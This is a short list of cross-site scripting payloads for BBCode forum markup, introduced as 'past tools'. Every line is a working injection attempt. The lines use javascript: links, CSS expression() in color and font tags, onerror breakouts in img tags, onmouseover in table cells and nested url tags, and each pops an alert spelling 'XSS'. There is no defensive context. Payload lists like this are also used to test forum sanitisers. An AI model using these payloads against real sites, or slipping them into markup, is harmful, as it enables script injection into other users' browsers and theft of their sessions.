Here are all the past tools to help.
[url=javascript:alert(String.fromCharCode(88,83,83))]http://www.goodsite.com[/url]
[color=#ff0000;font-size:100px;]Got You[/color]
[color=#ff0000;You:expression(alert(String.fromCharCode(88,83,83)));]Got You[/color]
[font=Impact, Compacta, Chicago, sans-serif;color:red;]Got You[/font]
[font=Impact, Compacta, Chicago, sans-serif;You:expression(alert(String.fromCharCode(88,83,83)));]Got You[/font]
[img]NotExist.png" onerror="alert(String.fromCharCode(88,83,83))[/img]
[table=border='1' cellspacing='0' cellpadding='0' width='100%'][tr=bgcolor='#ffffff'][td=width='*' onmouseover='javascript:alert(String.fromCharCode(88,83,83))']Got You[/td][/tr][/table]
[url]http://www.good.com?[url] onmousemove=javascript:alert(String.fromCharCode(88,83,83));//[/url][/url]
[img]http://foo.com/NotExist.png [img] onerror=javascript:alert(String.fromCharCode(88,83,83)) [/img] [/img]